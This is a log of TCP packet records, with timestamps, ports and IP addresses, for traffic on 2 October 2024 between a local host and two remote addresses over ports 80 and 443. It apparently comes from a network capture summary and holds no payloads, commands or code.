Oct 2, 2024 17:17:22.350305080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350311995 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350348949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350356102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350390911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350399971 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350425005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350454092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350456953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350471020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350490093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350521088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350532055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350553989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350564957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350588083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350598097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350621939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350630999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350663900 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.350929976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.350982904 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351035118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351067066 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351079941 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351100922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351108074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351134062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351145983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351177931 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351214886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351248026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351258993 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351281881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351291895 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351315975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351327896 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351363897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351365089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351414919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351443052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351489067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351500034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351511955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351542950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351545095 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351562977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351593971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351625919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351639032 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351658106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351670027 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351691961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351721048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351722956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351739883 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351766109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351775885 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351809025 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351840019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351857901 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351867914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351881981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351912022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351933002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351965904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.351975918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.351996899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352006912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352034092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352042913 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352066994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352076054 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352101088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352111101 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352133989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352144003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352178097 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352188110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352219105 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352229118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352253914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352262974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352298975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352304935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352350950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352355003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352386951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352400064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352420092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352432013 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352463007 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352468967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352502108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352514029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352530956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352545977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352576017 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352580070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352612972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352626085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352644920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352655888 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352678061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352710009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352711916 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352730036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352761984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352793932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352803946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352834940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352838039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352847099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352858067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352888107 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352891922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352920055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352940083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352957964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.352972984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.352983952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353017092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353024960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353058100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353069067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353091955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353100061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353126049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353133917 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353159904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353171110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353193998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353203058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353226900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353236914 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353260994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353270054 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353295088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353303909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353327990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353338003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353362083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353370905 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353394985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353404045 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353429079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353440046 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353461981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353472948 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353496075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353506088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353528976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353538990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353563070 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353588104 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353595018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353605986 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353631973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353637934 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353662014 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353674889 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353693962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353704929 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353728056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353737116 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353760958 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353770018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353796959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353806973 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353830099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353838921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353863955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353873014 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353898048 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.353907108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.353946924 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.360301018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.360578060 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.361711979 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:22.361749887 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:22.361767054 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:22.361773968 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:22.365838051 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.365902901 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.374625921 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.379522085 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.379591942 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.392970085 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.397901058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982861042 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982882023 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982892036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982903004 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982913971 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982955933 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.982959032 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982969999 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.982980967 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.983004093 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.983019114 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.983063936 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.983073950 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.983434916 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.987845898 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.987857103 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.987867117 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:22.987909079 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:22.987941980 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.069745064 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069799900 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069833994 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069859982 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.069866896 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069902897 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.069921970 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069957972 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.069997072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070025921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070038080 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.070327044 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070334911 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.070360899 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.070360899 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070411921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070427895 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070449114 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.070463896 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.070789099 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.071228027 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.071276903 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.071310043 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.071331978 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.071341991 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.071357012 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.071376085 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.071417093 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.071557045 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.072154045 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.072202921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.072213888 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.072237968 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.072269917 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.072287083 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.072307110 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.072314978 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.072354078 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.075002909 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.075057030 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.075109959 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158269882 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158288956 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158299923 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158312082 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158329964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158340931 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158338070 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158353090 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158364058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158370018 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158375978 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158390045 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158416986 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158684969 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158696890 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158708096 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158735037 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158745050 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158868074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158879042 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158890963 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.158910990 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.158943892 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159236908 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159249067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159260988 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159308910 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159308910 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159567118 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159727097 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159754038 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159765959 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159782887 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159791946 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159795046 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159796953 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159797907 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159801006 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159811974 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159825087 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159830093 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159836054 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159846067 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159851074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.159863949 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.159885883 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.160738945 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160749912 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160761118 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160770893 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160780907 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160787106 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.160792112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160804033 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160829067 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.160851002 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.160876036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160887003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160897970 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.160914898 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.160931110 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.161062002 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161107063 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.161777020 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161787033 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161798000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161817074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161818981 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161823988 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.161854982 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.161930084 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.161942005 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.162050009 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.165586948 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.165646076 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269350052 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269376993 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269390106 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269401073 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269412041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269423008 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269428015 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269442081 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269452095 CEST	80	65279	46.8.231.109	192.168.2.6
